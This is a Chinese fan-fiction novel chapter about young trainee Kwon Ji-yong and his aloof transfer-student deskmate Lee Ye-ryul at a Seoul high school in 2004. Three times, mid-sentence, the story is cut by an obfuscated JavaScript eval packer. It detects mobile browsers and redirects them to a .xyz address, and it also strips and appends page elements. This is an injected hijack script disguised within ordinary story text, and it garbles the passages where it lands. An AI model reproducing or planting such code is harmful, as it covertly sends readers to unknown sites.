《搞错任务对象后和顶流交往了》 1. 我的绝食系同桌 午间的铃声又响了一遍,校园广播喇叭播放起了让人熟悉的音乐。 耳边是《蓝色多瑙河》经典的3/4拍摇曳旋律,权至龙一边跟随着音乐在心里默念节拍,一边抓着笔将练习册上的答案写得飞快,赶在最后一个音节结束以前,完成了上午的功课。 他将练习册和笔囫囵往桌肚里一塞,随手抓起书包便急急忙忙冲出教室。 2004年的首尔仍被人称作汉城,此时节的电视里正式公布了关于’迁移首都’的提案,居民纷纷走上街头,打着“为了孩子,为了国家下一代”的旗号游行抗议法案通过。与校园一墙之隔的街头,浩浩荡荡的口号声混杂着音乐一遍又一遍地响起,哪怕是课时也没有片刻停歇,两方隔着铁艺栅栏对视张望,彼此都品出了如默剧一般荒诞又割裂的冷幽默。 走廊里已经没什么人了,议政中学的午休时间长,多数孩子都会选择上午放课后回家吃午餐,少数孩子则是自己带餐或是在学校周围买点小吃随意解决。以往权至龙属于后者,从公司发的、有些拮据的餐费里,合理规划出每一餐,多数时间是红豆面包、饼干杯面等简单果腹的食物,从国一开始就一直是如此。 但在这学期开学后,这种情况发生了转变。 * 走出教学楼,临近学校大门口,三五个化着妆、带着耳钉的女生聚在一起说笑,看领结颜色应当是高年级的学姐。 权至龙心里暗道一声不好,低下头加快脚步朝着礼堂的方向走去,可还是被叫停了脚步。 “哎你,对,就是你,过来。”为首的一名头发剪得层次分明的染发女生叫住了他,“见到前辈走那么快干什么?很没礼貌啊你。” 权至龙慢腾腾地走到跟前,扬起无辜讨好的笑容,“非常抱歉学姐,我刚刚走得太着急没注意到……” 好在这几名盛气凌人的女生并未追究,只是用一副轻佻的目光将权至龙上下打量了一遍,饶有兴致地开口道:“听说你是练习生啊?给我们表演一下吧。” 哪怕此时距离上午放学时间已经过去许久,校门口仅剩下她们一行人,但权至龙心中仍能感受到被冒犯的不快,那是一种近乎被轻蔑的受挫感。 这种戏码几乎每隔一段时间就会上演一次,受限于韩国前后辈之间壁垒分明的文化,权至龙只能默默收起自尊心,以一种近乎屈辱的方式,一遍又一遍地重复着所谓的“表演”。 “也不怎么样嘛。”一场即兴表演结束,为首的女生啧啧舌摇头点评,“和东方神起的欧巴们比起来差远了。” 权至龙:“……内,我会继续努力的。” “你是哪个公司的?S·M吗?可是S·M好像只收花美男练习生啊。” “你和演艺界的艺人们熟吗?” “知道自己什么时候出道吗?” “你们练习生有工资吗?” “你说,我的形象是不是也可以去当练习生?唱歌跳舞我都会!” “…………” 一个问题刚解决,一连串问题接踵而至。权至龙苦恼地在心里叹了口气,又好声好气的和几位前辈商量:“前辈们,我朋友还在等我吃饭,要不咱们下次有空再聊吧?” “哦,那好吧,我知道你是哪个班的,晚点我们去你教室找你。”对方说着,朝他摆了摆手,像是在打发街边流浪小狗一般随意。 “……”他抿抿唇,又礼貌地与几人告别,这才小跑着往礼堂的方向跑去。 * 学校礼堂的后方有一间文艺活动室,他在上学期刚入学在学校闲逛时发现了这里。 这间活动室似乎已经闲置了许久,门口悬挂的锁早已布满了斑斑锈迹。他观察了近一个多星期,确认这间活动室完全无人使用,这才小心翼翼地“征用”了它。 原因无他,活动室内有一整面落地镜,对于需要将一份时间掰成两份来用的权至龙而言,这里无疑是最佳的练习场所。偶尔,同公司的练习生东勇裴也会过来,但大多数时间,这里都被权至龙占据,成为他逃避校园纷扰的庇护所,这样的情况一直持续到高一第二学期开学之后—— 权至龙推开活动室的大门,年久的木门发出一声咯吱的声响,却并没有引起室内人的在意。最角落靠窗边的位置,一道纤细的身影正对着画板晕染色彩,阳光给这道身影镀上了一层金色的逆光,仿佛是从她自身晕染散发出来的绒毛一般,叫人看着就心生暖意。 她半垂眸,神情平静而专注,画笔沾着颜料调色,左手拿着水壶喷洒纸面,大片色块在纸上跃然而生。 权至龙在门口静静地欣赏了一会,直到刚刚那场闹剧不知不觉间在心头彻底冷却下来,才出声打招呼。 “午安,艺率xi。” 听到声响,李艺率这才转过身,朝权至龙点点头:“写完作业了啊。”说着,她又指了指她身前桌子上的饭盒,“午餐在这里,麻烦你帮我解决一下。” 木制地板年久失修,部分木块早已开裂,踩上去会发出扰人的响声。权至龙小心地避开凸起的木块,动作轻盈如同躲避陷阱的猫,深一脚浅一脚的走近,拉开椅子坐下。 他选择坐下的位置在李艺率的斜前方,没有画板的遮挡,一张精致漂亮的脸蛋便毫无阻挡地暴露在他眼里。 即使是身为一个脚趾头踏进演艺圈的从业人员,即使是在以花田著称的公司里练习过五年,即使是从成为练习生开始就见惯了各色先天后天美人,看到这样一张脸蛋还是会令权至龙感受到冲击。 相比韩国人推崇的淡颜系美女,她的骨相存在感更为突出。 眼睛是标准的桃花瓣形状,眼尾微微上挑,瞳孔则是纯净的暖棕色,花瓣般的唇形,小巧上翘的鼻梁,眼角那颗细小的泪痣为整张脸平添了几分艳丽,五官的组合使得她兼具浓淡相宜的气质,显得尤为出众。 如果在十几年以后,权至龙或许能根据网络热词为李艺率整理出诸如“脸蛋天才”“美貌富翁”这样的称呼,但在千禧年初的权至龙只能想到“疯子一样的美貌”这样贫瘠且粗俗的比喻。 他久久的注释那张无表情的面孔,视觉焦点随着她蘸取颜料的动作移动。 追逐美是人的天性,这无关爱慕与否。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068723|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “吃完饭休息过后你大约还有一个小时的时间练习跳舞。”似乎被黏在身上的目光扰得不胜其烦,李艺率终于看向权至龙,打断了他看似发呆实则偷窥的注视。 闻言,权至龙终于将注意力转移到了午餐上。 打开三层餐盒,今天的菜色依旧十分丰富,也依旧脱离了韩式传统餐食的范围。 煎牛排被切成了适当入口的大小,用筷子轻轻一戳就能渗透出肉汁的光泽;蟹柳滑蛋用的不是蟹柳排而是新鲜拆的蟹肉,不难想象料理人在制作时付出的用心;搭配的小菜也很丰富,但已经完全脱离了韩国餐桌上常见腌制品的范畴,唯一能与韩餐搭上一点点边的大概就是那一小撮焯水菠菜拌香油芝麻盐了。 味道嘛……权至龙往嘴里拨拉一口米饭无声咀嚼。 使用新鲜食材烹饪的食物很难被划入难吃的领域,但对于吃惯了各种酱料泡菜重油盐的韩国人来说,实在是很难真心实意地对这份午餐夸上一句马西达。 “我之前就和你说过了,”李艺率换了一支画笔在画布上勾勒细节,抽空看了一眼正在努力咀嚼的权至龙,“你要是嫌味道淡的话就带一瓶口味合适的酱或者酱油放到活动室里来。” “阿尼,也没到这种程度。”权至龙连忙摇头。 这种往完成的菜品里加酱油的行为可是对料理人大大的挑衅! 不过,这样一份蛋白质丰富、烹饪简单营养均衡又少油少盐的午餐,对于他这种想要保持身材的练习生来说,除了谈不上非常好吃以外,似乎只剩下好处,不知道是不是心理作用,连吃一礼拜健康餐后似乎皮肤好像也变好了一些。 吃完最后一口饭,权至龙又轻手轻脚地拿着一礼拜前买的清洁工具将餐盒洗干净放回原处,然后就接到了来自李艺率的新任务。 “今天姨母让带了牛奶过来,一会帮我喝掉。”她指了指摆着水彩颜料、画笔桶那张桌子,“喝不完带回去也行,瓶子是一次性的,可以直接扔掉。” “哦。” 玻璃瓶容量大约五百毫升左右,上面没有任何标签,只在银色的铝箔封口盖子上贴了一张标签,上面有两行手写的日期时间。 权至龙:“你不喝吗?” 闻言,李艺率又露出了熟悉的嫌恶表情,“你喝吧,我不饿。” 权至龙:“……” 抿了一口牛奶,明明味道非常香醇浓厚,但李艺率脸上的嫌弃却十分分明。 这位朋友已经不单单是挑食那么简单了,这完全是绝食系啊! 从开学到现在将近一礼拜的时间,权至龙唯一一次见到她有进食这个动作还是在几天前她拿叉子简单吃了两口卷心莴苣的菜叶子,甚至只有两口! 原来世上真有靠喝露水就能活的人啊,难怪她会这么瘦。 趴在课桌上准备小憩一会的权至龙盯着那张出尘的脸蛋放空思绪,眼皮轻颤。 他和李艺率究竟是怎么建立起帮忙处理“闲置食物”这种荒谬又让人无语的关系的呢? 在意识彻底陷入混沌之前,他又回忆起一周前,开学那天—— 2. 这家伙未免也太惨了吧 高一第二学期的开学日如期而至,权至龙背着书包推开了教室的大门。 他的个子并不高,成绩也不突出,所以理所应当的被分配到了教室中后半段靠边缘的位置。 周围的同学已经陆陆续续到齐了,大家都坐着互相和邻座交流假期里发生的趣事,偶尔权至龙也会应和几句,但在集体里的多数时间,他仍然充当着倾听者的角色。 “感觉有点热啊,把窗户打开吧。” 他听见有同学嘟囔了一句,随即就有人推开了他左手边,隔着一张课桌的窗户。 这个开窗的举动仿佛是破冰一般,权至龙和大多数人一样,终于有勇气借着这个动作将目光转移至窗边那张空着的课桌上。 课桌上放着一束干枯的雏菊。 五六支紧凑的叠在一起,经历了漫长的假期,枝干早已被抽干了水分,花瓣卷曲成闭合枯萎的形状,用手指轻轻一捻便会支离破碎——一如这张课桌曾经的主人,失去了鲜活。 上学期期末考试前,班主任宣布了一个令人遗憾的消息。 权至龙的同桌文智慧,在家意外摔伤头部陷入昏迷,在送去急救的途中,因游行集会造成的交通拥堵,最终酿成了悲剧。 虽然只短短相处了一个学期,他与文智慧的交集也不过是上学时的点头招呼,和课间几句简短的寒暄,但权至龙仍会为这个姑娘的消亡感到难过。 少年人对生死的认知尚且浅薄。 面对突如其来的离别,大多数人选择了逃避,仿佛不去看、不再讨论,就能不用去面对生命的脆弱和易逝。 “听说班里转来了一个新同学。”前桌转过头,对着权至龙挤眉弄眼,“太好了,看来未来两年你不用经历孤独了。” 前桌的玩笑其实并无恶意,但权至龙心里却没由来地泛起一丝伤感。 这算什么,他想。 一个生命的消逝仿佛无足轻重,很快就有另一个人来填补空白,甚至连伤怀的情绪都未曾好好给予。 文智慧的存在仿佛是被陡然抽走的记忆,是被关在房间里的大象,大家热闹地讨论着新同学的到来,对关于曾经那个害羞内向的女孩的记忆却默契地闭口不谈。 这未免也太让人伤感了吧,权至龙知道自己的情绪十分无理,可还是对素未谋面的新同学生出了迁怒。我一定不会主动跟新同学搭话的,他想。 就在权至龙陷入了刻意营造的“痴情男”的情绪中无法自拔时,上课铃声响起。 班主任走进教室环视了一圈,见人已到齐,便拍手说道:“今天我们会有一位新同学加入,这位同学之前是在国外学习,现在转学回来,可能还不适应国内的学习环境,希望大家能够多给予帮助。” 说着,他冲着门口的方向招手,分外纤细的身影缓缓走进教室,随着她的步伐,阳光追赶着洒在她的发梢,显得格外柔和。 早在班主任开口之前,就有坐在教室门口位置的同学伸长脑袋张望,而后转过头对着班里的人做出极为生动夸张的表情。而当她真正走进教室时,所有人的目光都聚焦在她身上,有了片刻的短暂失语,随后如同冷水砸入沸油一般,教室里小范围爆发出对新同学优越容貌的感叹和窃窃私语。 十几岁的孩子尚缺乏安定感,初到陌生环境就会显得尤其不安,尤其是在日韩国校园这样已经有一部分集体盲从意识、本能形成排外氛围的社交圈。 权至龙幻想着如果是他站在讲台上接受陌生集体的审视和窃窃私语,就忍不住脚趾扣地恨不得找个角落缩起来,可新同学神色平静,姿态从容。她没有像其他女生一样穿校服裙,上身仍是学校统一制式的女式衬衫校服搭配领结,下半身则是男生校服的西裤,似乎特意改过尺寸,剪裁得恰到好处,显得格外简洁干练。 她的脊背笔直,面对打量和审视并没有一丝退却,甚至迎着众人的目光大方地回以注视,倒是有几人被她看得很不自在。 见讨论的气氛逐渐冷却,班主任清咳一声,看向新同学的表情格外和气:“向大家自我介绍一下吧,以后就是一个集体了。” “嗯。”她点点头,接过粉笔在黑板上写下汉字,又在汉字下方标注了韩文—— 李、艺、率。 和大多数同学一样,顺着她笔峰划过的痕迹,权至龙在心里默念她的名字。 像是韩语初学者尚不熟悉陌生的语言系统,她说话语速很慢,将每个发音咬得刻意清晰,也格外简短:“未来两年,希望能愉快相处。” 对于新同学的归属没有意外,李艺率理所应当地补上了文智慧的空缺,成为权至龙的新同桌。 直到她坐下,教室里好奇的注视才略显收敛,当然,大部分仍以自以为不动声色的目光偷偷打量。 班主任已经打开教材准备授课,权至龙从桌肚里找出对应课本随手翻开,余光却不住的往左手边瞥去。 他看见她放下书包,看见她沉默地注视着摆在课桌上那束已经皱巴巴枯萎成干花的雏菊—— 看见她从书包里拿出手帕摊开,将干花放进手帕里细致叠好,看见她将包裹着权至龙哀思和伤感的手帕小心收入书包内侧口袋…… 权至龙终于松开了从早上开始就紧绷的表情,心头那股无处发泄的情绪仿佛妥帖的得到了自洽。 这新来的同学,感觉人还挺不错的嘛。 * 好不容易捱过一节课,直到班主任拿着教材的身影消失在教室门口,邻座们纷纷转过头伸长身子与李艺率搭话,班里那群常年结成小团体的“特殊人群”此刻也坐在教室里不动声色的张望。 “艺率xi,你之前是在哪个国家上学的啊?” “在德国。” “那你的德语一定很好吧?” “对的。” “很小的时候就在德国了吗?” “对,三岁,就在了。” “哇大发~那你为什么突然回国上学啊?” “因为在德国照顾我的长辈去世了。”大概是因为说长句的缘故,她的语速格外慢,“所以爸爸让我回国生活。” 仅仅只是出于好奇完全没想到戳中人家伤心事,接受周围人目光谴责的多嘴同学:“……” 气氛有一瞬间僵硬,但很快有善良的女同学出声安慰道:“回来以后能和家人团聚也算是好事嘛。” “嗯是的。”仿佛是为了回应那份善意,李艺率对她露出一个浅浅的笑容。 她笑起来时,眼角眉梢都染上柔和的光彩,暖棕色的瞳孔仿佛悄然融化了一层薄雪,显得格外温润透彻。 有开朗外向的同学已经咬着唇双手捂住胸口,做出一副被什么东西击中一般的夸张表情,嘴里嘟囔着:哦莫,我不行了。 然而这夸张搞怪的气氛仅仅维持了片刻,下一秒,李艺率状似苦恼的蹙眉,一字一顿地开口:“爸爸工作很忙的。虽然已经快有两个月没见到他了,但……应该、算是好事吧。” “…………” 这叫人该怎么安慰?难道要昧着良心说一句别想太多,你爸爸很爱你的? “那还有妈妈啊!” 有嘴快的同学搭话,不管怎么样总之她看起来有点伤心赶紧安慰! “……我妈妈、”李艺率停顿了一下,像是在组织 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068724|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语言,好半天才磕磕巴巴道:“应该怎么说,早产……难产?她在生下我以后去世了,爸爸说我是妈妈留在这个世界上宝贵的遗物。” 众人:“……” 虽然能够理解,但遗物这个词听上去未免也太别扭了! 还真是小老外啊,韩语说得磕磕巴巴的。 大家面面相觑,最后还是身为同桌的权至龙忍不住开口解围:“对了,艺率xi,我看你穿的制服裤子很合身,是改过尺寸吗?” 聊穿着总不会出错了吧,权至龙心想。 “嗯,对,姨母帮忙拿去改的。” “艺率xi为什么不穿裙子啊?你个子高又很瘦,穿裙子肯定很好看啊。” “去年出了一场交通事故,在床上躺了半年,之后一直坐轮椅。”说着,她仿佛是在脑子里搜寻合适的词汇,停顿了一下又慢吞吞道,“虽然现在能站着慢慢走路,但是还是得保护好腿,所以、穿长裤。” 闻言,同学们瞬间噤声:“…………” 见大家讷讷不说话,她又笑了笑安慰道:“没有关系,爸爸说当初抢救的时候差点就死掉了,能活下来已经是很幸运的事了,不用这样。” 李艺率:也不用太愧疚,因为压根就没伤到腿。 众人:“………………” 大家默契地纷纷脑补出了在ICU九死一生、狰狞的伤疤、得知自己丧失行走能力崩溃地嚎啕大哭和李艺率身残志坚撑着地板努力站起来等一系列画面。 权至龙:……本来以为是个安全话题结果还是踩雷了。 同学们指望着趁课间好好了解转校生,没想到屡屡受挫,好在上课铃声解救了铩羽而归的他们。 大家纷纷回到座位,权至龙也终于有足够的空间好好偷瞄他的同桌。见李艺率神色沉静,仿佛亲人离世、家人忽视和险些丧命的这些伤口根本没被人提及一般,专注地翻开书本。 权至龙的心情更加复杂。 这家伙未免也太惨了吧,他想,又对刚刚提及人家伤心事的行为产生了愧疚。 要不,主动和她做朋友好了。 放课后,看着李艺率拿着书包离开教室的背影,权至龙暗暗下定决心。 * 本以为需要花费很多精力去制造机会破冰,可没想到缘分就是这样不讲道理。 权至龙拿着书包照例推开了“秘密基地”的大门,里面却已经多了一位闲适的客人。 活动室角落原本杂乱堆放的课桌椅不见了,只留下几张桌椅被整齐地摆在活动室最边缘的位置用于放置杂物,原本破旧的窗帘、不甚结实的窗户都换了新。活动室应该被人提前细心打扫过,此时窗帘大开,阳光透过干净的玻璃窗洒在木地板上,形成深深浅浅的斑驳光影,整个空间都亮堂了起来。 堆放废弃课桌的角落位置多出了洗手池,斜对角摆放了书架和一台木制落地画架,而李艺率正侧倚着窗台,用铅笔在画纸上勾勒草稿线条,手边的桌子上摆放着一本翻开的艺术杂志、颜料、画笔、喷壶和洗笔桶等杂物,都是些看上去很专业的工具,它们的主人应当非常擅长水彩创作。 这位主人正是李艺率。 阳光洒在她的侧脸,勾勒出柔和的轮廓,将她的眉眼映照得愈发深邃沉静。她听到动静只是挑了挑眉,将最后一笔勾勒完成,才将目光从画纸上挪开,看向刚刚制造噪音的源头。 李艺率:“哦是你啊,你好。” “呃……你好?” 权至龙背着书包,手里还拿着刚从便利店买回来的水和红豆面包,迎着她的目光呆立在原地,一时之间手足无措了起来。 3. 少年权至龙的烦恼 咦,现在是什么状况? 权至龙一头雾水被邀请进了活动室,在李艺率的指示下,将书包和便利店的口袋抱在怀里,拘谨地坐下了。 ……姑且算是被邀请了吧?但总感觉是不是有哪里不对啊。 还有,这个人招呼他坐下的动作未免有点太熟练了,你从是什么时候开始晋升为主人的啊?明明是他先来的吧! 李艺率指了指空着的椅子招呼他坐下以后便径直走到书架前,一通翻找后拿出一本软皮练习册递给他。 “这个是你的吗?” 看见练习本封面上熟悉的涂鸦,权至龙的暗叫一声大事不妙。 ……现在否认还来得及吗? 可惜他的窘迫太过明显,一眼就被看穿,“刚刚整理的时候看到的,当时因为不确定是谁的,所以我就想打开看看有没有写名字……”,看着眼前快要碎掉的男孩,她想了想,拍着他的肩膀对他保证,“很抱歉,不过只是时间很短地看了一眼,而且只了第一页,应该很快就会忘记,你放心。” 说着,她下意识回忆起练习本里诸如“我烟雾一般的爱情”“我破碎的心”“别再管我,好好生活”“没有我的未来也要和他幸福”之类的句子,李艺率有片刻的沉默,像是在小心斟酌用词保护一颗脆弱的少男心,“日记本这类的东西,最好还是放在私密地地方比较合适吧。” 毕竟这些内心独白被人看到的社死程度完全不亚于闭眼前的最后一秒得知即将在葬礼上公开自己生前的搜索记录,区别只在于下一秒葬礼还没开始人就已经死了,而权至龙的一生还很漫长。 权至龙:“……” 他浑身的血液一下子冲上耳朵,脸颊滚烫,好半天才找回声音,支支吾吾地回答到:“……不是日记,这是我的歌词本。” “歌词本?是专门抄的歌词吗?抱歉,我刚回国,不太懂这个。” 看来哪个国家的学生都一样啊,浑身都是劲,整天都很闲,可惜就是在学习上的花费格外吝啬。李艺率挑挑眉,对他们高中生的无聊程度又有了新的认知。 “……”你明明很懂!你甚至连高中生会把喜欢的歌词抄在本子上这个爱好都很了解,这个时候再装老外是不是有点太刻晴了! 心里虽然一直在吐槽,但权至龙的脸热没有丝毫缓解,甚至把头埋得更低了一些,原因无它,“阿尼,这不是抄的歌词,是……是我自己创作的。” 声音很轻,但好歹是说出来了。 李艺率:“…………” 这不是和日记的性质完全没区别吗?! 权至龙:“………………” 气氛又回到了熟悉的沉默,两人对视,从彼此眼中品出了相似的无语,最后还是权至龙强撑着脸红道了谢,李艺率也终于有心思说起了别的。 “之前是你一直在使用这里吗?” “内,上学期午休的时候都会来。” “欸~很不错嘛,听说这里已经锁了很长时间了,你怎么进来的啊?” 权至龙摸摸鼻尖,脸上浮现出有些可爱的小括弧,露出了一个明显羞涩但十分臭屁的笑容:“一点点小手段啦。” “哦。”李艺率点点头表示赞同,也没多去深究所谓的小手段究竟是什么,只是简单地做出结论:“现在归我了。” 权至龙:“…………!!” 虽然在刚刚进来之前就有预感了,但是你这么直截了当地说出来合适嘛?真就一点客套和表面功夫都懒得做是吗! 大概是权至龙的目光太有实质性,李艺率便理所应当地答道:“我是在入学以前就特意告知过学校的,提前把这里打扫干净的人是我,把杂物处理掉的人是我,让这里重新翻修一遍的人也是我。所以这里的使用权归我,很合理不是吗?” 虽然活不是她干的,但成果必须先由她来享受享受。 权至龙:“……”太有理有据了,哪怕他说上一百句是我先来的,这个理由也牵强得站不住脚。 他环视一圈焕然一新的活动室,玻璃窗纤尘不染,老旧的木地板如今看上去润泽着古朴的质感,而那面他使用频率最高的玻璃墙也被人提前打理过,原本有些暗淡的镜面被拆除了,换上了更为明亮的落地镜,也更为清晰地折射出他的窘迫。 这也是没办法的事情,毕竟在这之前他也没有这间活动室的使用权,上学期在这里留下的自由肆意不过是偷来的短暂快乐。 他低下头,有些沮丧的叹了口气,心里已经接受了这个现实。 看来以后只能在公司练习室加练了,虽然得等哥哥们练完才能轮到他使用练习室,但这也是没办法的事情……对了,还得重新找个地方躲过午休,一直呆在教室里实在是很不方便,会有很多陌生的前辈像观赏动物一样对他评头论足好一番打量……老师肯定会有意见,班里的同学们肯定也很困扰………… 一连串亟需解决的问题压在他眼前,少年的烦恼在这一刻有了具象化的体现。 都说人的抗打击能力是随着年龄进一步增长的,可时间总是公平降临到每一个人身上,也正是因此才有了年少时的懵懂和历经千帆后的从容。仍处在懵懂迷惘时期的权至龙自然不可能一下子会学处事不惊,于是青春期那些努力想隐藏却始终萦绕不去的情绪便紧跟着发散,一股脑向他袭来。 他本能地放任这种情绪在脑中作祟,整个人呈现出一种消沉又低迷的气场。尽管这样,他还是没忘记同李艺率道别,抓着书包低下头,仓促地抬起脚步就要离开。 “等等。” 权至龙转过头,看到了李艺率复杂至极的表情。 “你一直都是这样的吗?” “什么?” 在权至龙告别之前,李艺率一直是斜斜歪在椅背上,一副懒散至极的模样,此时她却站直了身体环手抱胸。女性的青春发育期来得比男性早,托了人生前十年成长在一个肉蛋奶比摄入量遥遥领先的国家的福,十六岁的李艺率身高比彼时的权至龙还要高上几厘米,这样颇有几分居高临下的姿态,叫权至龙平白感受到压力,他不自觉咽咽口水,也努力将背板直了一些。 “我占了你的地盘,你连一句反驳的话都没有吗?” “……”可你也没给我留商量的余地啊! 话到嘴边,最终只是无奈的泄气,他下意识想要逃避,声音沙哑道:“这也没办法,就像你所说的那样,你有这里的使用权。” 李艺率:“……” 她歪着头凑到权至龙跟前打量他,似乎是因为难过,少年还未长开的五官此时狭隘的皱成一团,像是在努力克制情绪一般,本就不大的眼睛被挤得更小了,嗯……很微妙。 听说他还是个偶像练习生来着,真能出道吗?李艺率难免复杂的想到。 “你不会哭了吧?” “没有!” 权至龙恶声恶气地回了一句,然后快速地抹了一把眼睛。 李艺率:“…………” 坏了,虽然她平时是有些恶趣味没错,但不会真给她欺负到老实人了吧? 而作为情绪的受困方,权至龙只觉得要难过死掉了。 属于自己的秘密基地被打上了别人的标记、身为练习生小心翼翼的艰难、出道日的遥遥无期、校园里复杂的各方压力……总之今天是个糟糕的一天,而这个抢占了他的地盘的、坏心眼的小老外还问他是不是哭了!男人怎么会轻易流眼泪呢?!他只是容易泪失禁的体质而已,他也控制不住啊!! 啧。 李艺率舌尖轻碰牙齿,打了个舌音,这家伙未免也太好欺负了吧。 打从一开始她就没有为难人的打算,要是来个性格恶劣的人也就罢了,可她的这位同桌就差软成一团了。 人不能凭空想象自己没有的东西,就像李艺率无法想象自己失去棱角变成权至龙形状的样子。 算了,她摇摇头。 想起那个脸蛋圆圆的,生前被困在救护车里直到人生尽头的姑娘,李艺率默默叹口气。 虽然文智慧说起未完成的心愿时只是红着脸害羞的表示希望我的朋友能完成自己的梦想过得幸福。 但经过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068725|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一上午的暗中观察,根据文智慧提供的,爱豆练习生,个子不高瘦瘦小小,笑起来很温暖性格很温柔等特征,辅以权至龙身为同桌占尽地利,以及对那束干枯雏菊的在意等线索,李艺率大致能推断出这位朋友指的就是文智慧生前的同桌权至龙。 是的,李艺率同样也在暗暗观察着权至龙。不同于权至龙暗自定下要主动做朋友的决心,李艺率观察了一上午,横竖也只是得出了她的同桌……是个男的的结论。 好歹是任务对象,就别真让他掉小珍珠了吧。 想到这里,李艺率松开手往椅子上一瘫,将画架背后的螺丝拧开,“还是和以前一样。” “……什么?” “我说,你还是和以前一样。”她将画架调整至坐着方便绘画的高度,“不管什么时间过来,要在这里做什么都可以,我平时也不过是看书画画打发时间,不会打扰你。” 闻言,权至龙阴郁的情绪终于放晴,他睁圆了眼睛抬头问道:“真的吗?” 李艺率:“对,但是有条件。” 说着,她指指身后那张课桌上的餐盒,“这是我的午餐,帮我吃完,作为留在这里,给我的报酬。” 每天都在为拮据的餐费苦恼的权至龙:“…………”竟然还有这种好事吗??! 直到拿着筷子夹菜以前,权至龙仍有顾虑:“你不吃吗?” 李艺率皱眉,一副对食物过敏的样子:“我不饿。” “既然不饿那为什么要带便当来?” “是照顾我的姨母准备的,直接倒掉会浪费心意,放着不吃的话又很麻烦。” 毕竟在让她吃饭这件事上,白姨母的道德绑架还是太权威了,李艺率微微蹙眉,无不苦恼的想到。 大概是因为提前了解了李艺率复杂且让人唏嘘的身世,权至龙眼神暗了暗,体贴的不再追问。 午餐菜色很丰富,烹调手法看上去虽然比较简单,但种类很多搭配起来颇有一种色彩鲜艳,叫人食欲大开的感觉,尽管少了腌制蔬菜这样的韩国餐桌标配让他有些不习惯,但往好了想,这也大大降低了亚硝酸盐超标的风险。 到底算半个外国人,饮食习惯有差异是很正常的事,况且这份午餐看上去还蛮让人有食欲的嘛,直到第一口菜进嘴前,权至龙心里还充满期待—— “对了,忘记告诉你,我的口味有点清淡,你要是吃不惯可以自己带点调味品。” 权至龙:…………何止是有点清淡啊,这味道未免也太健康了吧! 他嘴里的食物还没咽下去,只能跟着胡乱点头。 将餐盒里的食物消灭干净,又在李艺率的指示下跑去便利店买了清洁用品和垃圾袋,将餐具收拾完毕,又抽空帮李艺率把画笔连带着洗笔桶清理干净归纳整齐。此时午休时间早已过半,干完活的权至龙摊在椅子上喝了大半瓶水,看着姿态闲适地歪在一旁看书地李艺率,这才后知后觉的品出了些奇怪的细节。 为什么李艺率指使他干活的姿态这么熟练啊?一顿饭的时间就把他变成仆人的形状了嘛?! 还有,她的韩语明明很熟练,虽然语速还是慢,但明明很流畅,完全没有在教室里时词句顿挫着往外蹦的滞涩感。 “因为很麻烦。” 面对权至龙的疑问,李艺率显得很坦诚。 人的求知欲是无止境的,这一点在个体满足好奇心上尤为明显,像李艺率一个从小就生活在陌生国度的新成员,如果不想后续面临没有尽头的探索欲,最好的规避手段就是制造沟通障碍刻意拉开距离。 “况且,提前就营造好有一些语言障碍的形象,就算在考试、作业方面表现不佳,老师也不会过多苛责。” 毕竟她满打满算回韩国不到一年,平时能做到认真听课就不错了,就别指望她都能听懂了吧。 权至龙:“……好有心机啊你。” 对此,李艺率只是学着他之前的样子歪头笑着冲他眨眨眼:“一点点小手段啦~” 权至龙:“…………!!” 真是好狡猾的小老外!!! 4. 你看看你把他调成啥样了啊 饭后的十几分钟小憩将整个上午的疲劳消解大半,权至龙甩甩头,从晕碳的状态中解脱出来。 他站起来活动身体,照例开始了今天的舞蹈训练。 意识尚有些昏沉,他嘴里默数着节拍,依照着肌肉记忆对着镜子拆解舞步。 或许是得益于小时候的芭蕾学习经历,他的肢体动作非常柔韧,力度节制和框架兼具,四肢舒展舞动的姿态总透着一股子与时下流行偶像刀群舞的不同的松弛感。 李艺率从运动鞋胶底摩擦地板的声音回过神,看着眼前其貌不扬的男孩脱离了平庸的气场,四肢发力,核心舒展,身体柔软轻盈又控制力十足,再加上那股子与众不同的慵懒感,即使是在简陋无人的小小活动室,也播撒着与平时大相径庭的魅力。 跳得不错嘛,这会看才明显能感觉出她的新晋跟班是个偶像预备役啊……虽然李艺率平时并不关注韩国偶像组合,但在她的眼光看来,起码不用担心以后他当爱豆吃不饱饭了。 结束训练后权至龙一口气喝完了中午剩下的半瓶牛奶,见李艺率目光专注地看着他,有一瞬间的害羞,毕竟被一个公认漂亮的高岭之花——是的,开学短短一周,就有无数高年级的学长和同级的男孩假装不经意的来到他们班教室,只为从班级门口远远看一眼坐在角落的李艺率。 